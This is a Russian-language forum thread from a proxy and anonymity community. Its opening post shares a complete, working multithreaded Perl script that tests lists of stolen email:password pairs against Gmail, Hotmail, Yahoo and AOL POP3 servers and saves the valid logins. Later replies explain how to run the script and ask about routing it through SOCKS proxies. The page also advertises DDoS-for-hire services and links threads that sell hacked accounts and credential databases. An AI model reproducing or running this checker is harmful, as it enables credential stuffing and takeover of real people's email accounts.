Безпроксивый чекер gmail.com|hotmail.com|yahoo.com|aol.com на Perl - Proxy-Base Community - Анонимность и безопасность в интернете.
Бесплатные прокси. Количество:
Прокси для пользователей форума (API). Количество:
Купить доступ к прокси-листам (API). Количество:
 



Информация по хайдам / репутации

(РЕКОМЕНДУЮ) №1 >>>DDos Атака<<|>>DDoS Service<<< ДДОС СЕРВИС<<|>>Заказать DDOS
Все инфопродукты и приватная информация бесплатно
Старый 29.05.2012, 01:12   #1 (permalink)
SOCKS5
 
Аватар для PakZ
 
Регистрация: 22.12.2011
Сообщений: 291
Member ID: 22342

Репутация: 453
Репутация: 453
Сказал(а) спасибо: 172
Поблагодарили 161 раз(а) в 73 сообщениях
Топикстартер (автор темы) Хорошо Безпроксивый чекер gmail.com|hotmail.com|yahoo.com|aol.com на Perl

Собственно безпроксивый опенсорсный чекер
  • gmail.com
  • hotmail.com
  • yahoo.com
  • aol.com
от zapadlo_zapadlovich

Кому нужно-используем,дорабатываем)

Код:
#!/usr/bin/perl

###############################################################
#                                                             #
#  Dr.Tro and shell_c0de for antichat.ru,inattack.ru.rdot.org #
#                                                             #
###############################################################

use warnings;
use strict;

use threads;
use threads::shared;

use IO::Socket;
use IO::Socket::SSL;

use Fcntl ':flock';

### Настройки

my $accounts_file = 'C:\ac.txt'; # файло
my $accounts_delimiter = ';'; # разделитель
my $good_file = 'good.txt';
my $bad_file = 'bad.txt';
my $log_bad = 1;
my $timeout = 60;
my $threads_count = 10; # Количество потоков

### ---------

my %servers = (
	'gmail.com' => {
		'port' => 995, 
		'ssl' => 1,
		'login_email' => 1
	},
	'hotmail.com' => {
		'host' => 'pop3.live.com', 
		'port' => 995, 
		'ssl' => 1,
		'login_email' => 1
	},
	'yahoo.com' => {
		'host' => 'plus.pop.mail.yahoo.com',
		'port' => 995, 
		'ssl' => 1
	},
	'aol.com' => {
		'port' => 995, 
		'ssl' => 1,
		'login_email' => 1
	}
);

my %statictis : shared = ('good' => 0, 'bad' => 0, 'error' => 0);
my @threads = ();

$| = 1;

my @accounts : shared;
(open FH, '<', $accounts_file) || die "[Error] Can't open $accounts_file: $!";
push @accounts, $_ while <FH>;
close FH;

open FH, '>', $good_file;
close FH;

if ($log_bad) {
	open FH, '>', $bad_file;
	close FH;
}

sub thread_print {
	my ($str) = "@_ [thread ".threads->tid()."]";
	$str .= " " x (78 - length $str) if length $str < 79;
	print $str."\n";
	$str = '';
	$str .= "[ $_ - $statictis{$_} ]" for keys %statictis;
	print $str.'[threads: '.(scalar threads->list() + 1)."]\r";
}

sub check_account {
	while (1) {
		last if !@accounts;
		my $account = lc shift @accounts;
		chomp $account;
		if ($account =~ /([^@]+)@([^$accounts_delimiter]+)$accounts_delimiter(.+)/) {
			my ($login, $host, $password) = ($1, $2, $3);
			my $r_login = $login;
			my $sock;			
			if ($servers{$host}) {
				$r_login = "$login\@$host" if ${$servers{$host}}{'login_email'};
				if (${$servers{$host}}{'ssl'}) {
					eval { $sock = IO::Socket::SSL->new(PeerAddr => ((${$servers{$host}}{'host'}) ? ${$servers{$host}}{'host'} : "pop.$host"), Proto => 'tcp', PeerPort => ((${$servers{$host}}{'port'}) ? ${$servers{$host}}{'port'} : 110), Timeout => $timeout); };
				} else {
					eval { $sock = IO::Socket::INET->new(PeerAddr => ((${$servers{$host}}{'host'}) ? ${$servers{$host}}{'host'} : "pop.$host"), Proto => 'tcp', PeerPort => ((${$servers{$host}}{'port'}) ? ${$servers{$host}}{'port'} : 110), Timeout => $timeout); };
				}
			} else {
				eval{ $sock = IO::Socket::INET->new(PeerAddr => "pop.$host", Proto => 'tcp', PeerPort => 110, Timeout => $timeout);	};
			}
			if ($sock) {
				$sock->autoflush(1);
				my $answ;
				$answ = <$sock>;
				my $bad = 1;  
				if ($answ && substr($answ, 0, 1) eq '+') { 
					print $sock "USER $r_login\n"; 
					$answ = <$sock>;
					if ($answ && substr($answ, 0, 1) eq '+') { 
						print $sock "PASS $password\n";
						$answ = <$sock>;
						if ($answ && substr($answ, 0, 1) eq '+') {
							print $sock "QUIT\n"; 
							close $sock;
							$bad = 0;
							thread_print "[+] $login\@$host$accounts_delimiter$password"; 
							{ lock %statictis; $statictis{'good'}++; } 
							open FH, '>>', $good_file;
							flock FH, LOCK_EX;
							print FH "$login\@$host$accounts_delimiter$password\n";
							flock FH, LOCK_UN;
							close FH;
						} elsif ($answ && $answ =~ /SYS\/PERM/) {
							$bad = 0;
							{ lock %statictis; $statictis{'error'}++; } 
							thread_print "[~] $login\@$host$accounts_delimiter$password"; 
						}
					}
				}
				if ($bad) {
					thread_print "[-] $login\@$host$accounts_delimiter$password"; 
					{ lock %statictis; $statictis{'bad'}++; } 
					if ($log_bad) {
						open FH, '>>', $bad_file;
						flock FH, LOCK_EX;
						print FH "$login\@$host$accounts_delimiter$password\n";
						flock FH, LOCK_UN;
						close FH;
					}
				}
			} else {
				{ lock %statictis; $statictis{'error'}++; } 
				thread_print "[E] $login\@$host$accounts_delimiter$password #$?: $!";
			}
		}
	}
	threads->exit->detach;
}

$threads_count = $#accounts if $#accounts < $threads_count;
$threads[$_] = threads->create(\&check_account) for 0..$threads_count - 1;
$_->join for @threads;
my $str;
$str .= "[ $_ - $statictis{$_} ]" for keys %statictis;
print "$str\n";
__________________
По всем вопросам в ЛС
PakZ вне форума   Ответить с цитированием
Старый 04.06.2012, 07:04   #2 (permalink)
HTTP/S
 
Регистрация: 06.05.2012
Сообщений: 34
Member ID: 27287

Репутация: 3
Репутация: 3
Сказал(а) спасибо: 6
Поблагодарили 1 раз в 1 сообщении
По умолчанию Re: Безпроксивый чекер gmail.com|hotmail.com|yahoo.com|aol.com на Perl

а как его запустить? Есть инстал?
solutionsboy вне форума   Ответить с цитированием
Старый 04.06.2012, 10:27   #3 (permalink)
SOCKS5
 
Аватар для PakZ
 
Регистрация: 22.12.2011
Сообщений: 291
Member ID: 22342

Репутация: 453
Репутация: 453
Сказал(а) спасибо: 172
Поблагодарили 161 раз(а) в 73 сообщениях
Топикстартер (автор темы) По умолчанию Re: Безпроксивый чекер gmail.com|hotmail.com|yahoo.com|aol.com на Perl

tyshkancheg,
solutionsboy,
Вас в гугле забанили?)
А по теме-не в падлу будет,то выложу)
__________________
По всем вопросам в ЛС
PakZ вне форума   Ответить с цитированием
Старый 04.06.2012, 10:35   #4 (permalink)
SOCKS5
 
Аватар для doctor-x
 
Регистрация: 02.05.2011
Адрес: /system32
Сообщений: 272
Member ID: 14219

Репутация: 783
Репутация: 783
Сказал(а) спасибо: 7
Поблагодарили 261 раз(а) в 138 сообщениях
По умолчанию Re: Безпроксивый чекер gmail.com|hotmail.com|yahoo.com|aol.com на Perl

через activeperl.запускать,качаешь прогу,потом создаешь блокнот и переименовываешь его,в расширение ".pl"в папке со скриптом,создаешь такие файлы(блокноты):cac.txt-акки должны быть,good.txt,bad.txt.
PS:у меня запустилось все, окей.
__________________

doctor-x вне форума   Ответить с цитированием
Пользователь сказал cпасибо:
Старый 27.06.2012, 12:53   #5 (permalink)
HTTP/S
 
Аватар для partizayna
 
Регистрация: 21.09.2010
Сообщений: 41
Member ID: 9380

Репутация: 8
Репутация: 8
Сказал(а) спасибо: 15
Поблагодарили 4 раз(а) в 3 сообщениях
По умолчанию Re: Безпроксивый чекер gmail.com|hotmail.com|yahoo.com|aol.com на Perl

акто туда может соксы прикрутить?))
partizayna вне форума   Ответить с цитированием
Старый 27.06.2012, 14:51   #6 (permalink)
SOCKS5
 
Аватар для PakZ
 
Регистрация: 22.12.2011
Сообщений: 291
Member ID: 22342

Репутация: 453
Репутация: 453
Сказал(а) спасибо: 172
Поблагодарили 161 раз(а) в 73 сообщениях
Топикстартер (автор темы) По умолчанию Re: Безпроксивый чекер gmail.com|hotmail.com|yahoo.com|aol.com на Perl

SIN=), скрипт на perl,так что редактируй сам под свои нужды
__________________
По всем вопросам в ЛС
PakZ вне форума   Ответить с цитированием
Старый 24.07.2013, 06:44   #7 (permalink)
HTTP
 
Регистрация: 08.11.2010
Сообщений: 6
Member ID: 10062

Репутация: 3
Репутация: 3
Сказал(а) спасибо: 0
Поблагодарили 1 раз в 1 сообщении
По умолчанию Re: Безпроксивый чекер gmail.com|hotmail.com|yahoo.com|aol.com на Perl

Актуальный чекер gmail существует ли вообще сейчас?Если кто знает заделитесь.
Losos' вне форума   Ответить с цитированием
Ответ

Метки
mail checker, perl, perl mail checker, мэил чекер

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Trackbacks are Вкл.
Pingbacks are Вкл.
Refbacks are Вкл.


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Продажа] Авторегер и чекер hotmail yahoo mail.com mail.ru pochta.ru rambler yandex и др. tavel Разное 23 15.03.2017 15:20
[Продажа] База email+pass (hotmail,gmail,aol,yahoo) Dastan Разное 0 28.06.2011 12:29
Help with Gmail and Yahoo Bruteforce SoNaRs E-mail 5 15.06.2011 18:52
[Обмен] Меняю деды на ломаные акки aol hotmail google yahoo E}|{|/||{ Дедики 0 05.09.2010 16:01
Ищу чеккер мыл на gmail.com, aol.com, yahoo.com mff E-mail 2 03.02.2010 06:36




DDoS Protected




Мы в твиттере, Proxy-Base.Org Twitter

Proxy-Base Community - Анонимность и безопасность в интернете.
Наши партнеры: CRC Labs, SEO-Crack.Com, Garsuk.Com, SED Team, Skladchik.com, BSS Family

Powered by vBulletin® | Булка сделана в пекарне®
Copyright © 2000 - , Jelsoft Enterprises Ltd. Перевод: zCarot
Вся информация на сайте выложена исключительно в ознакомительных целях.